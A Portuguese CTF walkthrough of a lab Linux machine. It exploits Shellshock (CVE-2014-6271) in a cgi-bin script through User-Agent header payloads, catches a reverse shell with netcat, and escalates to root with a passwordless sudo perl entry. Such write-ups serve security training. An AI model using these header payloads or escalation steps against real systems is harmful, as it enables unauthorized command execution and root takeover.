Máquina Linux fácil projetada para explorar um ShellShock e por fim escalar privilégios utilizando o comando perl como root.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping -c 1 10.10.10.56
PING 10.10.10.56 (10.10.10.56) 56(84) bytes of data.
64 bytes from 10.10.10.56: icmp_seq=1 ttl=63 time=175 ms
--- 10.10.10.56 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.546/174.546/174.546/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.18 em um Linux Ubuntu.
attacker> rustscan -a 10.10.10.56 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
HTTP (80) Enumeration
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web.
attacker> whatweb -v http://10.10.10.56/ | tee whatweb.txt
WhatWeb report for http://10.10.10.56/
Status : 200 OK
Title : <None>
IP : 10.10.10.56
Country : RESERVED, ZZ
Summary : Apache[2.4.18], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)]
...
HTTP Headers:
HTTP/1.1 200 OK
Date: Sun, 30 Oct 2022 22:59:35 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT
ETag: "89-559ccac257884-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 134
Connection: close
Content-Type: text/html
Na página inicial do servidor web existe apenas uma imagem com o texto "Don't Bug Me".
Content Discovery
Nesta fase, tentei descobrir conteúdo e diretórios ocultos no servidor web usando uma ferramenta chamada ffuf. Essa técnica pode ser útil para descobrir conteúdo oculto em um servidor web que pode não ser facilmente descoberto por meio de testes manuais ou outras técnicas.
Directory Fuzzing
Nesse caso, isso me permitiu descobrir o diretório "cgi-bin", que posso investigar mais a fundo na próxima etapa.
Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program, typically to process user requests.
Such programs are often written in a scripting language and are commonly referred to as CGI scripts, but they may include compiled programs.
File Fuzzing
Com a presença do diretório cgi-bin, podemos continuar nossa enumeração em busca de scripts presentes neste diretório, passando as extensões de algumas linguagens comuns para criação de scripts, como .pl,.sh e .cgi. Com isso encontramos o script user.sh.
Acessando este script, vemos que ele executa o comando bash uptime.
attacker> curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh"
Content-Type: text/plain
Just an uptime test script
19:10:33 up 14 min, 0 users, load average: 0.00, 0.01, 0.00
Como se trata de um cgi-bin executando comandos bash, isso nos leva a pensar que existe a possibilidade de haver uma vulnerabilidade de shellshock neste endpoint.
Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.
Shellshock
Como forma de validação, podemos rodar um script do nmap que detecta se a aplicação é vulnerável a shellshock.
attacker> nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 19:16 EDT
Nmap scan report for 10.10.10.56
Host is up (0.21s latency).
PORT STATE SERVICE
80/tcp open http
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
| http://seclists.org/oss-sec/2014/q3/685
|_ http://www.openwall.com/lists/oss-security/2014/09/24/10
Outra ferramenta com scripts para teste de vulnerabilidade é o Nuclei, acessando o repositório nuclei-templates procurando por shellshock, podemos ver que o template "CVE-2014-6271: ShellShock - Remote Code Execution" detecta se a aplicação está vulnerável.
attacker> nuclei -u "http://10.10.10.56/cgi-bin/user.sh" -t "cves/2014/CVE-2014-6271.yaml"
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ 2.7.8
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.7.8 (latest)
[INF] Using Nuclei Templates 9.2.6 (latest)
[INF] Templates added in last update: 100
[INF] Templates loaded for scan: 1
[2022-10-30 19:19:49] [CVE-2014-6271] [http] [critical] http://10.10.10.56/cgi-bin/user.sh
Ambas as ferramentas de varredura de vulnerabilidade nos dizem que o alvo é vulnerável. Portanto, podemos executar comandos bash remotamente no alvo. Para explorar manualmente, precisamos descobrir quais campos são vulneráveis. Para isso usaremos a ferramenta tshark para capturar os pacotes enviados pelo script do nmap.
Então, vamos nos colocar em escuta com o tshark e executar a varredura do nmap novamente.
Aparecem alguns pacotes HTTP, podemos listar seus detalhes em JSON. Os campos vulneráveis geralmente são encontrados em tcp.payload no formato hexadecimal, que podemos converter em texto claro usando a ferramenta xxd.
attacker> tshark -r Packets.cap -Y "http" -Tfields -e "tcp.payload" 2>/dev/null | xxd -ps -r; echo
HTTP/1.1 400 Bad Request
Date: Sun, 30 Oct 2022 23:22:38 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
GET /cgi-bin/user.sh HTTP/1.1
User-Agent: () { :;}; echo; echo -n napmqct; echo stdritb
Connection: close
Referer: () { :;}; echo; echo -n napmqct; echo stdritb
Host: 10.10.10.56
Cookie: () { :;}; echo; echo -n napmqct; echo stdritb
1
1b
Just an uptime test script
1
3f
19:22:40 up 26 min, 0 users, load average: 0.00, 0.00, 0.00
2
0
Portanto, podemos ver que o nmap injetou payloads nos campos User-Agent, Referer e Cookie do cabeçalho de requisição, portanto, esses campos são vulneráveis ao Shellshock. Assim, para explorar manualmente podemos utilizar qualquer um destes campos. Neste caso utilizaremos o User-Agent.
Como PoC, podemos injetar o comando whoami no campo User-Agent usando cURL para ver se obtemos a saída desse comando.
attacker> which whoami
/usr/bin/whoami
attacker> curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; /usr/bin/whoami"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
webmaster@localhost to inform them of the time this error occurred,
and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address>
</body></html>
No entanto, um erro 500 (Internal Server Error) é retornado. Quando isso acontece, podemos colocar um echo no payload do Shellshock para ver se funciona.
Como existe a vulnerabilidade de Shellshock, podemos enviar comandos bash para o alvo, então vamos enviar um comando para nos retornar uma reverse shell.
attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.10.56] 37470
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami; hostname -I
whoami; hostname -I
shelly
10.10.10.56 dead:beef::250:56ff:feb9:dca2
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> stty size
53 209
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Utilizando o comando sudo -l, foi possível verificar quais comandos o usuário atual tinha permissão de executar como root. O comando revelou que o usuário tinha permissão para executar o comando perl como root sem a necessidade de inserir uma senha. Isso foi possível devido a configuração incorreta do arquivo de configuração do sudo.
shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Utilizando a ferramenta gtfobins, encontramos uma forma de obter um shell como root. Com isso, conseguimos escalar privilégios e obter acesso como root na máquina alvo.